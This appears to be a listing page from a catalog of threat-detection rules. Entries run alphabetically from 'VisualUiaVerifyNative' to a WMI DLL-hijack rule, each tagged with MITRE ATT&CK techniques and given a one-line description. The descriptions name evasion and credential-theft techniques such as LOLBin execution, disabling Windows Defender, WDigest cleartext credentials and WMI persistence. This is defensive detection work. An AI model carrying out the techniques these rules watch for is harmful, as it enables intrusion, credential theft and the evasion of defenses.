Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.

Read More
Use of VSIISExeLauncher.exe

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries

Read More
Use of W32tm as Timer

Aug 12, 2024 · attack.discovery attack.t1124 ·
Share on:

When configured with suitable command line arguments, w32tm can act as a delay mechanism

Read More
Use of Wfc.exe

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.

Read More
Use Short Name Path in Command Line

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid command-line detection

Read More
Use Short Name Path in Image

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection

Read More
User Access Blocked by Azure Conditional Access

Aug 12, 2024 · attack.credential-access attack.initial-access attack.t1110 attack.t1078.004 ·
Share on:

Detect access has been blocked by Conditional Access policies. The access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.

Read More
User Added To Admin Group Via Dscl

Aug 12, 2024 · attack.initial-access attack.privilege-escalation attack.t1078.003 ·
Share on:

Detects attempts to create and add an account to the admin group via "dscl"

Read More
User Added To Admin Group Via DseditGroup

Aug 12, 2024 · attack.initial-access attack.privilege-escalation attack.t1078.003 ·
Share on:

Detects attempts to create and/or add an account to the admin group, thus granting admin privileges.

Read More
User Added To Admin Group Via Sysadminctl

Aug 12, 2024 · attack.initial-access attack.privilege-escalation attack.t1078.003 ·
Share on:

Detects attempts to create and add an account to the admin group via "sysadminctl"

Read More
User Added to an Administrator's Azure AD Role

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 attack.t1078 ·
Share on:

User Added to an Administrator's Azure AD Role

Read More
User Added To Group With CA Policy Modification Access

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·
Share on:

Monitor and alert on group membership additions of groups that have CA policy modification access

Read More
User Added To Highly Privileged Group

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects addition of users to highly privileged groups via "Net" or "Add-LocalGroupMember".

Read More
User Added to Local Administrator Group

Aug 12, 2024 · attack.privilege-escalation attack.t1078 attack.persistence attack.t1098 ·
Share on:

Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity

Read More
User Added to Local Administrators Group

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects addition of users to the local administrator group via "Net" or "Add-LocalGroupMember".

Read More
User Added To Privilege Role

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1078.004 ·
Share on:

Detects when a user is added to a privileged role.

Read More
User Added to Remote Desktop Users Group

Aug 12, 2024 · attack.persistence attack.lateral-movement attack.t1133 attack.t1136.001 attack.t1021.001 ·
Share on:

Detects addition of users to the local Remote Desktop Users group via "Net" or "Add-LocalGroupMember".

Read More
User Added To Root/Sudoers Group Using Usermod

Aug 12, 2024 · attack.privilege-escalation attack.persistence ·
Share on:

Detects usage of the "usermod" binary to add users add users to the root or suoders groups

Read More
User Couldn't Call a Privileged Service 'LsaRegisterLogonProcess'

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.t1558.003 ·
Share on:

The 'LsaRegisterLogonProcess' function verifies that the application making the function call is a logon process by checking that it has the SeTcbPrivilege privilege set. Possible Rubeus tries to get a handle to LSA.

Read More
User Discovery And Export Via Get-ADUser Cmdlet

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

Read More
User Discovery And Export Via Get-ADUser Cmdlet - PowerShell

Aug 12, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

Read More
User Has Been Deleted Via Userdel

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Detects execution of the "userdel" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks

Read More
User Logoff Event

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Detects a user log-off activity. Could be used for example to correlate information during forensic investigations

Read More
User Removed From Group With CA Policy Modification Access

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.t1548 attack.t1556 ·
Share on:

Monitor and alert on group membership removal of groups that have CA policy modification access

Read More
User State Changed From Guest To Member

Aug 12, 2024 · attack.privilege-escalation attack.initial-access attack.t1078.004 ·
Share on:

Detects the change of user type from "Guest" to "Member" for potential elevation of privilege.

Read More
Users Added to Global or Device Admin Roles

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1078.004 ·
Share on:

Monitor and alert for users added to device admin roles.

Read More
Users Authenticating To Other Azure AD Tenants

Aug 12, 2024 · attack.initial-access attack.t1078.004 ·
Share on:

Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.

Read More
Using SettingSyncHost.exe as LOLBin

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1574.008 ·
Share on:

Detects using SettingSyncHost.exe to run hijacked binary

Read More
UtilityFunctions.ps1 Proxy Dll

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects the use of a Microsoft signed script executing a managed DLL with PowerShell.

Read More
VBA DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.

Read More
VBScript Payload Stored in Registry

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects VBScript content stored into registry keys as seen being used by UNC2452 group

Read More
Veeam Backup Database Suspicious Query

Aug 12, 2024 · attack.collection attack.t1005 ·
Share on:

Detects potentially suspicious SQL queries using SQLCmd targeting the Veeam backup databases in order to steal information.

Read More
Veeam Backup Servers Credential Dumping Script Execution

Aug 12, 2024 · attack.credential-access ·
Share on:

Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.

Read More
VeeamBackup Database Credentials Dump Via Sqlcmd.EXE

Aug 12, 2024 · attack.collection attack.t1005 ·
Share on:

Detects dump of credentials in VeeamBackup dbo

Read More
Verclsid.exe Runs COM Object

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects when verclsid.exe is used to run COM object via GUID

Read More
VHD Image Download Via Browser

Aug 12, 2024 · attack.resource-development attack.t1587.001 ·
Share on:

Detects creation of ".vhd"/".vhdx" files by browser processes. Malware can use mountable Virtual Hard Disk ".vhd" files to encapsulate payloads and evade security controls.

Read More
Visual Basic Command Line Compiler Usage

Aug 12, 2024 · attack.defense-evasion attack.t1027.004 ·
Share on:

Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.

Read More
Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary

Read More
Visual Studio NodejsTools PressAnyKey Renamed Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries

Read More
VMGuestLib DLL Sideload

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.

Read More
VMMap Signed Dbghelp.DLL Potential Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.

Read More
VMMap Unsigned Dbghelp.DLL Potential Sideloading

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.

Read More
VMToolsd Suspicious Child Process

Aug 12, 2024 · attack.execution attack.persistence attack.t1059 ·
Share on:

Detects suspicious child process creations of VMware Tools process which may indicate persistence setup

Read More
VMware vCenter Server File Upload CVE-2021-22005

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-22005 detection.emerging-threats ·
Share on:

Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.

Read More
Volume Shadow Copy Mount

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects volume shadow copy mount via Windows event log

Read More
VolumeShadowCopy Symlink Creation Via Mklink

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.003 ·
Share on:

Shadow Copies storage symbolic link creation using operating systems utilities

Read More
VsCode Powershell Profile Modification

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.013 ·
Share on:

Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

Read More
VSSAudit Security Event Source Registration

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects the registration of the security event source VSSAudit. It would usually trigger when volume shadow copy operations happen.

Read More
Vulnerable Netlogon Secure Channel Connection Allowed

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.

Read More
Wab Execution From Non Default Location

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects execution of wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) from non default locations as seen with bumblebee activity

Read More
Wab/Wabmig Unusual Parent Or Child Processes

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity

Read More
Wannacry Killswitch Domain

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects wannacry killswitch domain dns queries

Read More
WannaCry Ransomware Activity

Aug 12, 2024 · attack.lateral-movement attack.t1210 attack.discovery attack.t1083 attack.defense-evasion attack.t1222.001 attack.impact attack.t1486 attack.t1490 detection.emerging-threats ·
Share on:

Detects WannaCry ransomware activity

Read More
WCE wceaux.dll Access

Aug 12, 2024 · attack.credential-access attack.t1003 attack.s0005 ·
Share on:

Detects wceaux.dll access while WCE pass-the-hash remote command execution on source host

Read More
Wdigest CredGuard Registry Modification

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects potential malicious modification of the property value of IsCredGuardEnabled from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to disable Cred Guard on a system. This is usually used with UseLogonCredential to manipulate the caching credentials.

Read More
Wdigest Enable UseLogonCredential

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects potential malicious modification of the property value of UseLogonCredential from HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest to enable clear-text credentials

Read More
Weak Encryption Enabled and Kerberoast

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects scenario where weak encryption is enabled for a user profile which could be used for hash/password cracking.

Read More
Weak or Abused Passwords In CLI

Aug 12, 2024 · attack.defense-evasion attack.execution ·
Share on:

Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline

Read More
WebDav Client Execution Via Rundll32.EXE

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·
Share on:

Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).

Read More
WebDav Put Request

Aug 12, 2024 · attack.exfiltration attack.t1048.003 ·
Share on:

A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.

Read More
Webshell Hacking Activity Patterns

Aug 12, 2024 · attack.persistence attack.t1505.003 attack.t1018 attack.t1033 attack.t1087 ·
Share on:

Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system

Read More
Webshell ReGeorg Detection Via Web Logs

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.

Read More
Webshell Remote Command Execution

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects possible command execution by web application/web shell

Read More
Webshell Tool Reconnaissance Activity

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects processes spawned from web servers (PHP, Tomcat, IIS, etc.) that perform reconnaissance looking for the existence of popular scripting tools (perl, python, wget) on the system via the help commands

Read More
WerFault LSASS Process Memory Dump

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials

Read More
Wget Creating Files in Tmp Directory

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects the use of wget to download content in a temporary directory such as "/tmp" or "/var/tmp"

Read More
WhoAmI as Parameter

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)

Read More
Whoami Utility Execution

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation

Read More
Win Defender Restored Quarantine File

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the restoration of files from the defender quarantine

Read More
Win Susp Computer Name Containing Samtheadmin

Aug 12, 2024 · cve.2021-42278 cve.2021-42287 attack.persistence attack.privilege-escalation attack.t1078 ·
Share on:

Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool

Read More
Windows Admin Share Mount Via Net.EXE

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects when an admin share is mounted using net.exe

Read More
Windows Backup Deleted Via Wbadmin.EXE

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects the deletion of backups or system state backups via "wbadmin.exe". This technique is used by numerous ransomware families and actors. This may only be successful on server platforms that have Windows Backup enabled.

Read More
Windows Binaries Write Suspicious Extensions

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects Windows executables that write files with suspicious extensions

Read More
Windows Credential Editor Registry

Aug 12, 2024 · attack.credential-access attack.t1003.001 attack.s0005 ·
Share on:

Detects the use of Windows Credential Editor (WCE)

Read More
Windows Credential Manager Access via VaultCmd

Aug 12, 2024 · attack.credential-access attack.t1555.004 ·
Share on:

List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe

Read More
Windows Defender AMSI Trigger Detected

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects triggering of AMSI by Windows Defender.

Read More
Windows Defender Configuration Changes

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects suspicious changes to the Windows Defender configuration

Read More
Windows Defender Definition Files Removed

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files

Read More
Windows Defender Exclusion Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when a Windows Defender exclusion has been deleted. This could indicate an attacker trying to delete their tracks by removing the added exclusions

Read More
Windows Defender Exclusion List Modified

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects modifications to the Windows Defender exclusion registry key. This could indicate a potentially suspicious or even malicious activity by an attacker trying to add a new exclusion in order to bypass security.

Read More
Windows Defender Exclusions Added

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the Setting of Windows Defender Exclusions

Read More
Windows Defender Exclusions Added - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1562 attack.execution attack.t1059 ·
Share on:

Detects modifications to the Windows Defender configuration settings using PowerShell to add exclusions

Read More
Windows Defender Exclusions Added - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the Setting of Windows Defender Exclusions

Read More
Windows Defender Exploit Guard Tamper

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when someone is adding or removing applications or folders from exploit guard "ProtectedFolders" or "AllowedApplications"

Read More
Windows Defender Firewall Has Been Reset To Its Default Configuration

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects activity when Windows Defender Firewall has been reset to its default configuration

Read More
Windows Defender Grace Period Expired

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the expiration of the grace period of Windows Defender. This means protection against viruses, spyware, and other potentially unwanted software is disabled.

Read More
Windows Defender Malware And PUA Scanning Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling of the Windows Defender feature of scanning for malware and other potentially unwanted software

Read More
Windows Defender Malware Detection History Deletion

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Windows Defender logs when the history of detected infections is deleted.

Read More
Windows Defender Real-Time Protection Failure/Restart

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects issues with Windows Defender Real-Time Protection features

Read More
Windows Defender Service Disabled - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry

Read More
Windows Defender Submit Sample Feature Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling of the "Automatic Sample Submission" feature of Windows Defender.

Read More
Windows Defender Threat Detected

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects actions taken by Windows Defender malware detection engines

Read More
Windows Defender Threat Detection Service Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects when the "Windows Defender Threat Protection" service is disabled.

Read More
Windows Defender Virus Scanning Feature Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling of the Windows Defender virus scanning feature

Read More
Windows Event Auditing Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects scenarios where system auditing (i.e.: Windows event log auditing) is disabled. This may be used in a scenario where an entity would want to bypass local logging to evade detection when Windows event logging is enabled and reviewed. Also, it is recommended to turn off "Local Group Policy Object Processing" via GPO, which will make sure that Active Directory GPOs take precedence over local/edited computer policies via something such as "gpedit.msc". Please note, that disabling "Local Group Policy Object Processing" may cause an issue in scenarios of one off specific GPO modifications - however, it is recommended to perform these modifications in Active Directory anyways.

Read More
Windows Firewall Disabled via PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects attempts to disable the Windows Firewall using PowerShell

Read More
Windows Firewall Profile Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects when a user disables the Windows Firewall via a Profile to help evade defense.

Read More
Windows Firewall Settings Have Been Changed

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects activity when the settings of the Windows firewall have been changed

Read More
Windows Hotfix Updates Reconnaissance Via Wmic.EXE

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of wmic with the "qfe" flag in order to obtain information about installed hotfix updates on the system. This is often used by pentester and attacker enumeration scripts

Read More
Windows Internet Hosted WebDav Share Mount Via Net.EXE

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects when an internet hosted webdav share is mounted using the "net.exe" utility

Read More
Windows Kernel Debugger Execution

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation ·
Share on:

Detects execution of the Windows Kernel Debugger "kd.exe".

Read More
Windows LAPS Credential Dump From Entra ID

Aug 12, 2024 · attack.t1098.005 ·
Share on:

Detects when an account dumps the LAPS password from Entra ID.

Read More
Windows Network Access Suspicious desktop.ini Action

Aug 12, 2024 · attack.persistence attack.t1547.009 ·
Share on:

Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.

Read More
Windows Pcap Drivers

Aug 12, 2024 · attack.discovery attack.credential-access attack.t1040 ·
Share on:

Detects Windows Pcap driver installation based on a list of associated .sys files.

Read More
Windows PowerShell User Agent

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1071.001 ·
Share on:

Detects Windows PowerShell Web Access

Read More
Windows Processes Suspicious Parent Directory

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 attack.t1036.005 ·
Share on:

Detect suspicious parent processes of well-known Windows processes

Read More
Windows Recall Feature Enabled - DisableAIDataAnalysis Value Deleted

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Read More
Windows Recall Feature Enabled - Registry

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by setting the value of "DisableAIDataAnalysis" to "0". Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Read More
Windows Recall Feature Enabled Via Reg.EXE

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Read More
Windows Registry Trust Record Modification

Aug 12, 2024 · attack.initial-access attack.t1566.001 ·
Share on:

Alerts on trust record modification within the registry, indicating usage of macros

Read More
Windows Screen Capture with CopyFromScreen

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations

Read More
Windows Service Terminated With Error

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects Windows services that got terminated for whatever reason

Read More
Windows Share Mount Via Net.EXE

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects when a share is mounted using the "net.exe" utility

Read More
Windows Shell/Scripting Application File Write to Suspicious Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects Windows shells and scripting applications that write files to suspicious folders

Read More
Windows Shell/Scripting Processes Spawning Suspicious Programs

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1059.005 attack.t1059.001 attack.t1218 ·
Share on:

Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.

Read More
Windows Terminal Profile Settings Modification By Uncommon Process

Aug 12, 2024 · attack.persistence attack.t1547.015 ·
Share on:

Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.

Read More
Windows Update Error

Aug 12, 2024 · attack.impact attack.resource-development attack.t1584 ·
Share on:

Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.

Read More
Windows WebDAV User Agent

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects WebDav DownloadCradle

Read More
Windows Webshell Strings

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Detects common commands used in Windows webshells

Read More
WINEKEY Registry Modification

Aug 12, 2024 · attack.persistence attack.t1547 ·
Share on:

Detects potential malicious modification of run keys by winekey or team9 backdoor

Read More
Winget Admin Settings Modification

Aug 12, 2024 · attack.defense-evasion attack.persistence ·
Share on:

Detects changes to the AppInstaller (winget) admin settings. Such as enabling local manifest installations or disabling installer hash checks

Read More
Winlogon AllowMultipleTSSessions Enable

Aug 12, 2024 · attack.persistence attack.defense-evasion attack.t1112 ·
Share on:

Detects when the 'AllowMultipleTSSessions' value is enabled. Which allows for multiple Remote Desktop connection sessions to be opened at once. This is often used by attacker as a way to connect to an RDP session without disconnecting the other users

Read More
Winlogon Helper DLL

Aug 12, 2024 · attack.persistence attack.t1547.004 ·
Share on:

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.

Read More
Winlogon Notify Key Logon Persistence

Aug 12, 2024 · attack.persistence attack.t1547.004 ·
Share on:

Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.

Read More
Winnti Malware HK University Campaign

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.g0044 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities

Read More
Winnti Pipemon Characteristics

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 attack.g0044 detection.emerging-threats ·
Share on:

Detects specific process characteristics of Winnti Pipemon malware reported by ESET

Read More
Winrar Compressing Dump Files

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects execution of WinRAR in order to compress a file with a ".dmp"/".dump" extension, which could be a step in a process of dump file exfiltration.

Read More
Winrar Execution in Non-Standard Folder

Aug 12, 2024 · attack.collection attack.t1560.001 ·
Share on:

Detects a suspicious winrar execution in a folder which is not the default installation folder

Read More
WinSock2 Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects modification of autostart extensibility point (ASEP) in registry.

Read More
WinSxS Executable File Creation By Non-System Process

Aug 12, 2024 · attack.execution ·
Share on:

Detects the creation of binaries in the WinSxS folder by non-system processes

Read More
Wlrmdr.EXE Uncommon Argument Or Child Process

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of "Wlrmdr.exe" with the "-u" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries. This detection also focuses on any uncommon child processes spawned from "Wlrmdr.exe" as a supplement for those that posses "ParentImage" telemetry.

Read More
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load

Aug 12, 2024 · attack.lateral-movement attack.privilege-escalation attack.persistence attack.t1546.003 ·
Share on:

Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.

Read More
WMI Backdoor Exchange Transport Agent

Aug 12, 2024 · attack.persistence attack.t1546.003 ·
Share on:

Detects a WMI backdoor in Exchange Transport Agents via WMI event filters

Read More
WMI Event Consumer Created Named Pipe

Aug 12, 2024 · attack.t1047 attack.execution ·
Share on:

Detects the WMI Event Consumer service scrcons.exe creating a named pipe

Read More
WMI Event Subscription

Aug 12, 2024 · attack.persistence attack.t1546.003 ·
Share on:

Detects creation of WMI event subscription persistence method

Read More
WMI Persistence

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.003 ·
Share on:

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

Read More
WMI Persistence - Command Line Event Consumer

Aug 12, 2024 · attack.t1546.003 attack.persistence ·
Share on:

Detects WMI command line event consumers

Read More
WMI Persistence - Script Event Consumer

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.003 ·
Share on:

Detects WMI script event consumers

Read More
WMI Persistence - Script Event Consumer File Write

Aug 12, 2024 · attack.t1546.003 attack.persistence ·
Share on:

Detects file writes of WMI script event consumer

Read More
WMI Persistence - Security

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1546.003 ·
Share on:

Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.

Read More
WMIC Loading Scripting Libraries

Aug 12, 2024 · attack.defense-evasion attack.t1220 ·
Share on:

Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the /FORMAT argument switch to download and execute an XSL file (i.e js, vbs, etc).

Read More
WMIC Remote Command Execution

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects the execution of WMIC to query information on a remote system

Read More
WMIC Unquoted Services Path Lookup - PowerShell

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts

Read More
Wmiexec Default Output File

Aug 12, 2024 · attack.lateral-movement attack.t1047 ·
Share on:

Detects the creation of the default output filename used by the wmiexec tool

Read More
WMImplant Hack Tool

Aug 12, 2024 · attack.execution attack.t1047 attack.t1059.001 ·
Share on:

Detects parameters used by WMImplant

Read More
WmiPrvSE Spawned A Process

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects WmiPrvSE spawning a process

Read More
Wmiprvse Wbemcomn DLL Hijack

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

Detects a threat actor creating a file named wbemcomn.dll in the C:\Windows\System32\wbem\ directory over the network and loading it for a WMI DLL Hijack scenario.

Read More
Wmiprvse Wbemcomn DLL Hijack - File

Aug 12, 2024 · attack.execution attack.t1047 attack.lateral-movement attack.t1021.002 ·
Share on:

